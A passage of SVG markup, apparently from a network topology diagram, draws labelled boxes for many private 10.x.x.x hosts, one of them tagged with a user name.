<path d="M -1249.9180908203125 139.38223266601562 L -1174.9180908203125 139.38223266601562 L -1174.9180908203125 174.38223266601562 L -1249.9180908203125 174.38223266601562 L -1249.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 271.43660513907605, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.69.109.1423</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#00bfff" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -619.9180908203125 -15.617770195007324 L -544.9180908203125 -15.617770195007324 L -544.9180908203125 19.382229804992676 L -619.9180908203125 19.382229804992676 L -619.9180908203125 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 526.980094201164, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.159.82.135</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -514.9180908203125 139.38223266601562 L -439.9181213378906 139.38223266601562 L -439.9181213378906 174.38223266601562 L -514.9180908203125 174.38223266601562 L -514.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 570.6340320206451, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.68.62.211</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1060.0819091796875 -15.617770195007324 L 1135.0819091796875 -15.617770195007324 L 1135.0819091796875 19.382229804992676 L 1060.0819091796875 19.382229804992676 L 1060.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1207.5787133194253, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.97.53.32</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -409.9181213378906 139.38223266601562 L -334.9181213378906 139.38223266601562 L -334.9181213378906 174.38223266601562 L -409.9181213378906 174.38223266601562 L -409.9181213378906 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 611.7359023813383, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.35.238.234</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1144.9180908203125 139.38223266601562 L -1069.9180908203125 139.38223266601562 L -1069.9180908203125 174.38223266601562 L -1144.9180908203125 174.38223266601562 L -1144.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 316.3665705295169, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.22.93.103</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1585.0819091796875 -15.617770195007324 L 1660.0819091796875 -15.617770195007324 L 1660.0819091796875 19.382229804992676 L 1585.0819091796875 19.382229804992676 L 1585.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1418.1922369910726, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.21.187.33</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -934.9180908203125 139.38223266601562 L -859.9180908203125 139.38223266601562 L -859.9180908203125 174.38223266601562 L -934.9180908203125 174.38223266601562 L -934.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 399.84636345559994, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.233.85.112</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -409.9181213378906 -15.617770195007324 L -334.9181213378906 -15.617770195007324 L -334.9181213378906 19.382229804992676 L -409.9181213378906 19.382229804992676 L -409.9181213378906 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 611.7359023813383, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.181.108.77</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -304.9181213378906 -15.617770195007324 L -229.91812133789062 -15.617770195007324 L -229.91812133789062 19.382229804992676 L -304.9181213378906 19.382229804992676 L -304.9181213378906 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 655.3898402008194, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.68.193.47</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -94.91812133789062 -15.617770195007324 L -19.918121337890625 -15.617770195007324 L -19.918121337890625 19.382229804992676 L -94.91812133789062 19.382229804992676 L -94.91812133789062 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 740.1456606978621, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.126.52.27</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 10.081878662109375 -15.617770195007324 L 85.08187866210938 -15.617770195007324 L 85.08187866210938 19.382229804992676 L 10.081878662109375 19.382229804992676 L 10.081878662109375 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 781.2475433754238, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.35.183.112</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1358.6680908203125 -15.617770195007324 L -1283.6680908203125 -15.617770195007324 L -1283.6680908203125 19.382229804992676 L -1358.6680908203125 19.382229804992676 L -1358.6680908203125 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 228.82122566692436, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.37.244.247</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1564.9180908203125 139.38223266601562 L -1489.9180908203125 139.38223266601562 L -1489.9180908203125 174.38223266601562 L -1564.9180908203125 174.38223266601562 L -1564.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 148.13095710639107, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.58.74.24</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1669.9180908203125 139.38223266601562 L -1594.9180908203125 139.38223266601562 L -1594.9180908203125 174.38223266601562 L -1669.9180908203125 174.38223266601562 L -1669.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 104.47701928691006, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.55.160.79</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1459.9180908203125 139.38223266601562 L -1384.9180908203125 139.38223266601562 L -1384.9180908203125 174.38223266601562 L -1459.9180908203125 174.38223266601562 L -1459.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 186.68078464203333, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.128.212.227</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#00bfff" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 431.2203063964844 -305.6177673339844 L 506.2203063964844 -305.6177673339844 L 506.2203063964844 -270.6177673339844 L 431.2203063964844 -270.6177673339844 L 431.2203063964844 -305.6177673339844 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 952.4946804009621, 442.9211944958623)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.144.39.76</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 447.4925842285156 -386.6177673339844 L 522.4926147460938 -386.6177673339844 L 522.4926147460938 -351.6177673339844 L 447.4925842285156 -351.6177673339844 L 447.4925842285156 -386.6177673339844 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 957.7861425707263, 410.22966373271726)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.86.123.195</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 325.0818786621094 -15.617770195007324 L 400.0818786621094 -15.617770195007324 L 400.0818786621094 19.382229804992676 L 325.0818786621094 19.382229804992676 L 325.0818786621094 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 907.1052465500283, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.118.101.183</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -619.9180908203125 139.38223266601562 L -544.9180908203125 139.38223266601562 L -544.9180908203125 174.38223266601562 L -619.9180908203125 174.38223266601562 L -619.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 525.7040666302044, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.185.110.197</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 447.4925842285156 -516.6177978515625 L 522.4926147460938 -516.6177978515625 L 522.4926147460938 -481.6177673339844 L 447.4925842285156 -481.6177673339844 L 447.4925842285156 -516.6177978515625 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 960.3381977126458, 357.76176253672713)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.62.163.4</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -829.9180908203125 139.38223266601562 L -754.9180908203125 139.38223266601562 L -754.9180908203125 174.38223266601562 L -829.9180908203125 174.38223266601562 L -829.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 442.2242737041213, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.197.194.62</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 447.4925842285156 -451.6177673339844 L 522.4926147460938 -451.6177673339844 L 522.4926147460938 -416.6177673339844 L 447.4925842285156 -416.6177673339844 L 447.4925842285156 -451.6177673339844 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 959.062170141686, 383.99571929315647)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.61.80.228</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 640.0819091796875 -15.617770195007324 L 715.0819091796875 -15.617770195007324 L 715.0819091796875 19.382229804992676 L 640.0819091796875 19.382229804992676 L 640.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1035.5150171834205, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.168.73.201</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 535.0819091796875 -15.617770195007324 L 610.0819091796875 -15.617770195007324 L 610.0819091796875 19.382229804992676 L 535.0819091796875 19.382229804992676 L 535.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 993.1371069348991, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.202.224.40</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 850.0819091796875 -15.617770195007324 L 925.0819091796875 -15.617770195007324 L 925.0819091796875 19.382229804992676 L 850.0819091796875 19.382229804992676 L 850.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1120.2708376804633, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.89.231.140</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 745.0819091796875 -15.617770195007324 L 820.0819091796875 -15.617770195007324 L 820.0819091796875 19.382229804992676 L 745.0819091796875 19.382229804992676 L 745.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1077.8929274319419, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.133.169.10</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1165.0819091796875 -15.617770195007324 L 1240.0819091796875 -15.617770195007324 L 1240.0819091796875 19.382229804992676 L 1165.0819091796875 19.382229804992676 L 1165.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1248.680595996987, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.253.25.71</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 955.0819091796875 -15.617770195007324 L 1030.0819091796875 -15.617770195007324 L 1030.0819091796875 19.382229804992676 L 955.0819091796875 19.382229804992676 L 955.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1162.6487479289847, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.218.254.25</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -724.9180908203125 139.38223266601562 L -649.9180908203125 139.38223266601562 L -649.9180908203125 174.38223266601562 L -724.9180908203125 174.38223266601562 L -724.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 483.32615638168295, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.199.123.242</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1270.0819091796875 -15.617770195007324 L 1345.0819091796875 -15.617770195007324 L 1345.0819091796875 19.382229804992676 L 1270.0819091796875 19.382229804992676 L 1270.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1291.0585062455084, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.240.60.82</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1480.0819091796875 -15.617770195007324 L 1555.0819091796875 -15.617770195007324 L 1555.0819091796875 19.382229804992676 L 1480.0819091796875 19.382229804992676 L 1480.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1375.8143267425512, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.85.31.233</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1375.0819091796875 -15.617770195007324 L 1450.0819091796875 -15.617770195007324 L 1450.0819091796875 19.382229804992676 L 1375.0819091796875 19.382229804992676 L 1375.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1332.16038892307, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.184.80.138</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1690.0819091796875 -15.617770195007324 L 1765.0819091796875 -15.617770195007324 L 1765.0819091796875 19.382229804992676 L 1690.0819091796875 19.382229804992676 L 1690.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1460.570147239594, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.94.104.59</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1039.9180908203125 139.38223266601562 L -964.9180908203125 139.38223266601562 L -964.9180908203125 174.38223266601562 L -1039.9180908203125 174.38223266601562 L -1039.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 357.46845320707854, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.69.109.142</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 447.4925842285156 -581.6177978515625 L 522.4926147460938 -581.6177978515625 L 522.4926147460938 -546.6177978515625 L 447.4925842285156 -546.6177978515625 L 447.4925842285156 -581.6177978515625 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 951.6897853649134, 331.5278180971663)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">jrogers@10.71.99.80</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 1795.0819091796875 -15.617770195007324 L 1870.0819091796875 -15.617770195007324 L 1870.0819091796875 19.382229804992676 L 1795.0819091796875 19.382229804992676 L 1795.0819091796875 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 1500.396002346196, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.186.116.235</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1879.9180908203125 139.38223266601562 L -1804.9180908203125 139.38223266601562 L -1804.9180908203125 174.38223266601562 L -1879.9180908203125 174.38223266601562 L -1879.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 18.44517121890754, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.113.209.84</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -514.9180908203125 -15.617770195007324 L -439.9181213378906 -15.617770195007324 L -439.9181213378906 19.382229804992676 L -514.9180908203125 19.382229804992676 L -514.9180908203125 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 569.3580044496854, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.174.159.88</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -199.91812133789062 -15.617770195007324 L -124.91812133789062 -15.617770195007324 L -124.91812133789062 19.382229804992676 L -199.91812133789062 19.382229804992676 L -199.91812133789062 -15.617770195007324 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 696.4917228783811, 559.9649452636687)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.86.156.205</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M -1774.9180908203125 139.38223266601562 L -1699.9180908203125 139.38223266601562 L -1699.9180908203125 174.38223266601562 L -1774.9180908203125 174.38223266601562 L -1774.9180908203125 139.38223266601562 z"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 62.099109038388654, 622.5228141205482)">
<text font-weight="normal" font-size="10" font-family="Helvetica" font-style="normal" fill="#000000" fill-opacity="1" stroke="none" x="0" y="0">10.70.22.254</text>
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g fill="#d3d3d3" fill-rule="nonzero" fill-opacity="1" stroke="none">
